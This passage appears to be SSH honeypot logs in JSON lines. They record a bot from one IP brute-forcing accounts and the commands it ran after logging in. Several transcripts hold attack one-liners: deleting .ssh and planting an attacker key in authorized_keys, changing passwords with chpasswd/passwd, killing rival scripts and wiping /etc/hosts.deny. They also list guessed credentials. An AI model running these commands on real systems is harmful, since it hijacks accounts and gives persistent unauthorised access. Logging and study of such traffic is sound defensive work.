$7}'"},{"seq":10,"at":"2026-08-26T15:01:42.930864+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T15:01:43.677255+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T15:01:44.498336+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T15:01:45.244025+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T15:01:45.548332+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T15:01:46.294470+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T15:01:46.846219+00:00","kind":"output","latency_ms":null,"data":" 15:01:46 up 6 days, 11:51,  0 user,  load average: 0.08, 0.09, 0.07\nUSER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT"},{"seq":17,"at":"2026-08-26T15:01:47.594460+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T15:01:48.470495+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T15:01:49.216055+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T15:01:49.612364+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T15:01:50.358487+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T15:01:50.718816+00:00","kind":"output","latency_ms":null,"data":"top - 15:01:50 up 6 days, 11:51,  0 user,  load average: 0.08, 0.09, 0.07\nTasks: 123 total,   1 running, 122 sleeping,   0 stopped,   0 zombie\n%Cpu(s):  1.3 us,  0.7 sy,  0.0 ni, 97.7 id,  0.3 wa,  0.0 hi,  0.0 si,  0.0 st\nMiB Mem :    15888 total,    6990 free,    8897 used\nMiB Swap:    4095 total,    4095 free,        0 used\n\n    PID USER      PR  NI    VIRT    RES    SHR S  %CPU  %MEM     TIME+ COMMAND\n      1 root      20   0  168404  13072   8284 S   0.0   1.3   0:04.19 systemd\n    742 root      20   0  109272   6144   5376 S   0.0   0.6   0:00.83 nginx\n    889 postgres  20   0  218360  28416  26112 S   0.0   2.9   0:01.44 postgres\n   1204 root      20   0  712924  48732  22188 S   0.3   4.9   0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T15:01:51.465116+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T15:01:51.861994+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T15:01:52.605434+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T15:01:53.025208+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T15:01:53.768286+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T15:01:54.426546+00:00","kind":"output","latency_ms":null,"data":"postgres"},{"seq":29,"at":"2026-08-26T15:01:55.173756+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T15:01:56.719052+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T15:01:57.464401+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T15:01:58.851050+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"postgres","password":"postgres@123456","method":"password","accepted":true,"tier":"other"}]}
{"id":"4c521e2c-243f-487c-ac3c-46c306e2611e","name":"feathered-daring-salmon","protocol":"ssh","channel_kind":null,"src_ip":"168.167.228.123","src_port":40810,"username":"postgres","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T15:01:36.496157+00:00","ended_at":"2026-08-26T15:01:37.380498+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"postgres","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]}
{"id":"72a97f11-e284-47ec-8328-23a7841d0444","name":"electric-icy-osprey","protocol":"ssh","channel_kind":null,"src_ip":"168.167.228.123","src_port":40809,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T15:01:33.430092+00:00","ended_at":"2026-08-26T15:01:34.974572+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]}
{"id":"6950cee9-b1b9-44ad-919f-ff2cce7095de","name":"fabled-sincere-flamingo","protocol":"ssh","channel_kind":"exec","src_ip":"168.167.228.123","src_port":40805,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":754,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T14:59:12.507667+00:00","ended_at":"2026-08-26T14:59:13.746782+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-26T14:58:45.614199+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T14:58:46.369617+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T14:58:51.966523+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T14:58:52.637366+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T14:58:53.392023+00:00","kind":"input","latency_ms":null,"data":"echo \"root:eM6MVmTswywA\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T14:58:54.143776+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T14:58:54.898311+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T14:58:55.277611+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T14:58:56.032398+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T14:58:57.247416+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T14:58:58.000546+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T14:58:59.055172+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T14:58:59.817256+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T14:59:00.430587+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T14:59:01.185086+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T14:59:01.447492+00:00","kind":"output","latency_ms":null,"data":" 14:59:01 up 6 days, 11:49,  0 user,  load average: 0.27, 0.26, 0.28\nUSER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT"},{"seq":17,"at":"2026-08-26T14:59:02.202778+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T14:59:03.081545+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T14:59:03.836954+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T14:59:04.240942+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T14:59:04.994227+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T14:59:05.491816+00:00","kind":"output","latency_ms":null,"data":"top - 14:59:05 up 6 days, 11:49,  0 user,  load average: 0.27, 0.26, 0.28\nTasks: 126 total,   1 running, 125 sleeping,   0 stopped,   0 zombie\n%Cpu(s):  1.3 us,  0.7 sy,  0.0 ni, 97.7 id,  0.3 wa,  0.0 hi,  0.0 si,  0.0 st\nMiB Mem :    15888 total,    6831 free,    9056 used\nMiB Swap:    4095 total,    4095 free,        0 used\n\n    PID USER      PR  NI    VIRT    RES    SHR S  %CPU  %MEM     TIME+ COMMAND\n      1 root      20   0  168404  13072   8284 S   0.0   1.3   0:04.19 systemd\n    742 root      20   0  109272   6144   5376 S   0.0   0.6   0:00.83 nginx\n    889 postgres  20   0  218360  28416  26112 S   0.0   2.9   0:01.44 postgres\n   1204 root      20   0  712924  48732  22188 S   0.3   4.9   0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T14:59:06.245756+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T14:59:07.091407+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T14:59:07.857724+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T14:59:08.565020+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T14:59:09.319466+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T14:59:09.677446+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T14:59:10.431103+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T14:59:11.753489+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T14:59:12.509404+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T14:59:13.507049+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"abc@123456","method":"password","accepted":true,"tier":"other"}]}
{"id":"de57f171-72c4-40c9-8a4b-ea4235040d50","name":"gloomy-austere-dunlin","protocol":"ssh","channel_kind":null,"src_ip":"168.167.228.123","src_port":40807,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T14:58:50.739552+00:00","ended_at":"2026-08-26T14:58:51.726572+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]}
{"id":"51ea4b61-26f8-44e0-9cc4-9d755772172f","name":"wiry-painted-pelican","protocol":"ssh","channel_kind":null,"src_ip":"168.167.228.123","src_port":40806,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T14:58:48.100391+00:00","ended_at":"2026-08-26T14:58:49.246147+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]}
{"id":"897439c2-5925-438a-8b14-2eabc9021a13","name":"fickle-bronzed-vervet","protocol":"ssh","channel_kind":"exec","src_ip":"168.167.228.123","src_port":40802,"username":"webuser","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":757,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T14:56:35.032491+00:00","ended_at":"2026-08-26T14:56:36.307896+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2258,"events":[{"seq":1,"at":"2026-08-26T14:56:08.084649+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T14:56:08.838085+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T14:56:14.631927+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T14:56:15.082097+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T14:56:15.840871+00:00","kind":"input","latency_ms":null,"data":"echo -e \"12345678\\nOccSGtgBXQlZ\\nOccSGtgBXQlZ\"|passwd|bash"},{"seq":6,"at":"2026-08-26T14:56:16.594699+00:00","kind":"input","latency_ms":null,"data":"echo \"12345678\\nOccSGtgBXQlZ\\nOccSGtgBXQlZ\\n\"|passwd"},{"seq":7,"at":"2026-08-26T14:56:17.350404+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T14:56:17.908531+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T14:56:18.664221+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T14:56:19.902774+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T14:56:20.660571+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T14:56:21.680174+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T14:56:22.440669+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T14:56:23.010521+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T14:56:23.768590+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T14:56:24.537067+00:00","kind":"output","latency_ms":null,"data":" 14:56:24 up 6 days, 11:46,  0 user,  load average: 0.08, 0.07, 0.09\nUSER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT"},{"seq":17,"at":"2026-08-26T14:56:25.291506+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T14:56:25.925699+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T14:56:26.682223+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T14:56:26.941490+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T14:56:27.699111+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T14:56:28.211493+00:00","kind":"output","latency_ms":null,"data":"top - 14:56:28 up 6 days, 11:46,  0 user,  load average: 0.08, 0.07, 0.09\nTasks: 122 total,   1 running, 121 sleeping,   0 stopped,   0 zombie\n%Cpu(s):  1.3 us,  0.7 sy,  0.0 ni, 97.7 id,  0.3 wa,  0.0 hi,  0.0 si,  0.0 st\nMiB Mem :    15888 total,    8102 free,    7785 used\nMiB Swap:    4095 total,    4095 free,        0 used\n\n    PID USER      PR  NI    VIRT    RES    SHR S  %CPU  %MEM     TIME+ COMMAND\n      1 root      20   0  168404  13072   8284 S   0.0   1.3   0:04.19 systemd\n    742 root      20   0  109272   6144   5376 S   0.0   0.6   0:00.83 nginx\n    889 postgres  20   0  218360  28416  26112 S   0.0   2.9   0:01.44 postgres\n   1204 root      20   0  712924  48732  22188 S   0.3   4.9   0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T14:56:28.986888+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T14:56:29.511337+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T14:56:30.269429+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T14:56:30.934627+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T14:56:31.692122+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T14:56:32.129998+00:00","kind":"output","latency_ms":null,"data":"webuser"},{"seq":29,"at":"2026-08-26T14:56:32.888185+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T14:56:34.278293+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T14:56:35.033452+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T14:56:36.067503+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"webuser","password":"12345678","method":"password","accepted":true,"tier":"other"}]}
{"id":"093d8a79-093d-4123-a319-8830b9dc5b85","name":"inland-glassy-grebe","protocol":"ssh","channel_kind":null,"src_ip":"168.167.228.123","src_port":40804,"username":"webuser","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T14:56:13.163965+00:00","ended_at":"2026-08-26T14:56:14.391029+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"webuser","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]}
{"id":"059c6847-affe-4d5c-8460-436d3e8c7bac","name":"leafy-steady-goldfinch","protocol":"ssh","channel_kind":null,"src_ip":"168.167.228.123","src_port":40803,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T14:56:10.589489+00:00","ended_at":"2026-08-26T14:56:11.650725+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]}
{"id":"88233d8a-1dbe-4754-bff9-ef02dd88a432","name":"prairie-northern-seal","protocol":"ssh","channel_kind":"exec","src_ip":"168.167.228.123","src_port":40799,"username":"alexandre","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":746,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T14:53:53.004073+00:00","ended_at":"2026-08-26T14:53:54.524521+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2262,"events":[{"seq":1,"at":"2026-08-26T14:53:23.872714+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T14:53:24.617799+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T14:53:32.089212+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T14:53:32.866549+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T14:53:33.614170+00:00","kind":"input","latency_ms":null,"data":"echo -e \"alexandre\\nSl0UdZ3xHn8J\\nSl0UdZ3xHn8J\"|passwd|bash"},{"seq":6,"at":"2026-08-26T14:53:34.357410+00:00","kind":"input","latency_ms":null,"data":"echo \"alexandre\\nSl0UdZ3xHn8J\\nSl0UdZ3xHn8J\\n\"|passwd"},{"seq":7,"at":"2026-08-26T14:53:35.102867+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T14:53:35.493026+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T14:53:36.238811+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T14:53:37.203560+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T14:53:37.952675+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T14:53:39.386163+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T14:53:40.143159+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T14:53:40.984414+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T14:53:41.731125+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T14:53:42.624824+00:00","kind":"output","latency_ms":null,"data":" 14:53:42 up 6 days, 11:43,  0 user,  load average: 0.11, 0.09, 0.07\nUSER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT"},{"seq":17,"at":"2026-08-26T14:53:43.367925+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T14:53:43.896028+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T14:53:44.642306+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T14:53:44.920604+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T14:53:45.667639+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T14:53:46.427518+00:00","kind":"output","latency_ms":null,"data":"top - 14:53:46 up 6 days, 11:43,  0 user,  load average: 0.11, 0.09, 0.07\nTasks: 128 total,   1 running, 127 sleeping,   0 stopped,   0 zombie\n%Cpu(s):  1.3 us,  0.7 sy,  0.0 ni, 97.7 id,  0.3 wa,  0.0 hi,  0.0 si,  0.0 st\nMiB Mem :    15888 total,    7308 free,    8579 used\nMiB Swap:    4095 total,    4095 free,        0 used\n\n    PID USER      PR  NI    VIRT    RES    SHR S  %CPU  %MEM     TIME+ COMMAND\n      1 root      20   0  168404  13072   8284 S   0.0   1.3   0:04.19 systemd\n    742 root      20   0  109272   6144   5376 S   0.0   0.6   0:00.83 nginx\n    889 postgres  20   0  218360  28416  26112 S   0.0   2.9   0:01.44 postgres\n   1204 root      20   0  712924  48732  22188 S   0.3   4.9   0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T14:53:47.172631+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T14:53:47.687914+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T14:53:48.434615+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T14:53:49.021455+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T14:53:49.766930+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T14:53:50.570639+00:00","kind":"output","latency_ms":null,"data":"alexandre"},{"seq":29,"at":"2026-08-26T14:53:51.316771+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T14:53:52.263342+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T14:53:53.005120+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T14:53:54.291385+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"alexandre","password":"alexandre","method":"password","accepted":true,"tier":"other"}]}
{"id":"798dfe23-98b4-41c5-b6ac-1dc958da5bc0","name":"autumn-blunt-tern","protocol":"ssh","channel_kind":null,"src_ip":"168.167.228.123","src_port":40801,"username":"alexandre","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T14:53:29.769519+00:00","ended_at":"2026-08-26T14:53:31.852703+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"alexandre","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]}
{"id":"459dfd39-d19f-4cf8-a297-983805b715bd","name":"glassy-verdant-stork","protocol":"ssh","channel_kind":null,"src_ip":"168.167.228.123","src_port":40800,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T14:53:26.354234+00:00","ended_at":"2026-08-26T14:53:28.259195+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]}
